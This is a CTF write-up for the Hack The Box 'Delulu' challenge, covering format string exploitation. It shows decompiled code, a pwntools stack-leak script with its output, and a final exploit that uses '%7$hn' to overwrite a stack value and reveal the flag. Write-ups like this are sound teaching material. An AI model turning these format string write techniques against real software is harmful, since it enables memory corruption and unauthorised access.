Skip to main content

Delulu

  • Difficulty: Very Easy
  • Technique: Fromat String

HALT! Recognition protocol initiated. Please present your face for scanning.

Approach

Check protections

Command:

$ checksec --file=delulu

Output:

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'

All protections are enabled.

Disassemble binary

flag function's pseudocode:

unsigned __int64 delulu()
{
char buf; // [rsp+3h] [rbp-Dh] BYREF
int fd; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
fd = open("./flag.txt", 0);
if ( fd < 0 )
{
perror("\nError opening flag.txt, please contact an Administrator.\n");
exit(1);
}
printf("You managed to deceive the robot, here's your new identity: ");
while ( read(fd, &buf, 1uLL) > 0 )
fputc(buf, _bss_start);
close(fd);
return v3 - __readfsqword(0x28u);
}

On reaching this function, opens and print the flag to standard output.

main function's pseudo-code:

int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4[2]; // [rsp+0h] [rbp-40h] BYREF
__int64 buf[6]; // [rsp+10h] [rbp-30h] BYREF

buf[5] = __readfsqword(0x28u);
v4[0] = 0x1337BABELL;
v4[1] = (__int64)v4;
buf[0] = 0LL;
buf[1] = 0LL;
buf[2] = 0LL;
buf[3] = 0LL;
read(0, buf, 31uLL);
printf("\n[!] Checking.. ");
printf((const char *)buf);
if ( v4[0] == 0x1337BEEF )
delulu();
else
error("ALERT ALERT ALERT ALERT\n");
return 0;
}

Observations

Initial observation: simple buffer overflow vulnerability. At first glance, by overflowing the buf variable, it should allow us to tamper with v4 value and overwrite it with 0x1337BEEF to get the flag. However, analysing it in gdb made me realise that the buffer is overflowing the other direction. In other words, it is not overflowing into v4.

Further observation: printf without a format specifier. From this observation, we could potentially perform arbituary reads and writes from and to the stack. Since the flag is not stored on the stack, the flag could not be obtain from leaking stack values. Instead, we can perform writes to the stack instead, using the %n format specifier. Using the %n format specifier we could overwrite the value stored in v4 to 0x1337BEEF to get the flag. But in order to do so, we have first obtain the stack offset which the value in v4 is occupying. We can do so by leaking the stack values at various offset using the %<offset>$p specifier.

Leaking the stack values to determine offset of v4 using this script:

from pwn import *

elf = context.binary = ELF('./delulu')

# leak stack
for i in range(0,30):
r = elf.process(level='error')
r.recvline()
r.sendline(b'AAAA %%%d$p' % i)
r.recvuntil(b'[!] Checking.. ')
print("%d - %s" % (i, r.recvuntil(b'\n').strip()))

Output:

0 - b'AAAA %0$p'
1 - b'AAAA 0x7ffffc103dc0'
2 - b'AAAA (nil)'
3 - b'AAAA 0x7f269e08f5dc'
4 - b'AAAA 0x10'
5 - b'AAAA 0x7fffffff'
6 - b'AAAA 0x1337babe'
7 - b'AAAA 0x7fffd7412dc0'
8 - b'AAAA 0x2438252041414141'
9 - b'AAAA 0xa70'
10 - b'AAAA (nil)'
11 - b'AAAA (nil)'
12 - b'AAAA 0x1000'
13 - b'AAAA 0x546fd77ec3fbcd00'
14 - b'AAAA 0x1'
15 - b'AAAA 0x7f2d835e9d90'
16 - b'AAAA 0x7ff9196cb803'
17 - b'AAAA 0x7f4cf67b644a'
18 - b'AAAA 0x1dfa18070'
19 - b'AAAA 0x7fffe623c528'
20 - b'AAAA (nil)'
21 - b'AAAA 0xb0de010509f3c0c9'
22 - b'AAAA 0x7ffff139aad8'
23 - b'AAAA 0x7f88eb24544a'
24 - b'AAAA 0x7ffbf8b06d68'
25 - b'AAAA 0x7ff23262a040'
26 - b'AAAA 0xd8481573afc91199'
27 - b'AAAA 0xb339d172d9b538da'
28 - b'AAAA 0x7fff00000000'
29 - b'AAAA (nil)'

From the output, we can observe that our input is stored at stack offset 8, and the pointer to v4 is stored at stack offset 7. At this point, I recalled that most format string challenges performs writes to arbituary addresses, where the address of the location to write to is known (or can be found). However, in this challenge, as the Address Space Layout Randomisation (ASLR) is enabled, the stack address is not constant, and thus we cannot obtain the physical address of v4 from the binary.

Furthermore, the overflowing of the buffer does not overwrite the return address, hence, we could not utilise Return Oriented Programming (ROP) to return the main function again after leaking the physical address of v4. At this point, I got stuck and decided to revist the workings of the %n format specifier.

Learning points: Like %s, %n performs dereferencing of the address stored on the stack offset, and write the length of the string preceding it to that dereferenced address. Credits to this article.

Exploit

Writing to an arbituary address relies on the stack offset of our input (stack offset 8 in this challenge). This is to allow us to specify the address to write to in our input. However, in this challenge, it is slightly different, as we do not have an address to specify. We noticed at stack offset 7 that it contains the address that stores the value we want to overwrite in order to get the flag. Therefore, we could simply overwrite the value stored in v4 using <length_of_bytes>%7$n payload.

Breakdown of payload:

  • <length_of_bytes> - 0x1337BEEF
  • %7$n - deferences the address stored in stack offset 7 and write <length_of_bytes> to it

To specify the <length_of_bytes>, we could utilise %<length_of_bytes>x to write 0x1337BEEF bytes to standard output for %n to count. However, writing 0x1337BEEF bytes to standard output is impossible. Hence, we utilise another trick - %hn - and split 0x1337BEEF into high (0x1337) and low (0xBEEF) order bytes. Splitting into high and low order bytes is well-explained in this article. Instead of directly writing 4 bytes of the value, using h (short) allows us to write 2 short bytes.

By doing so, we have managed to obtain the flag.

Remarks: Deeper understanding on how to exploit format string vulnerability with arbitrary writes (%n).

Script

from pwn import *

elf = context.binary = ELF('./delulu')

r = remote('94.237.62.252', 55219)
# r = elf.process()

# r = gdb.debug('./delulu', gdbscript='''
# break * main+138''')

payload = b'%4919x' + b'%43960x' + b'%7$hn'

r.sendline(payload)
r.interactive()

Flag

HTB{m45t3r_0f_d3c3pt10n}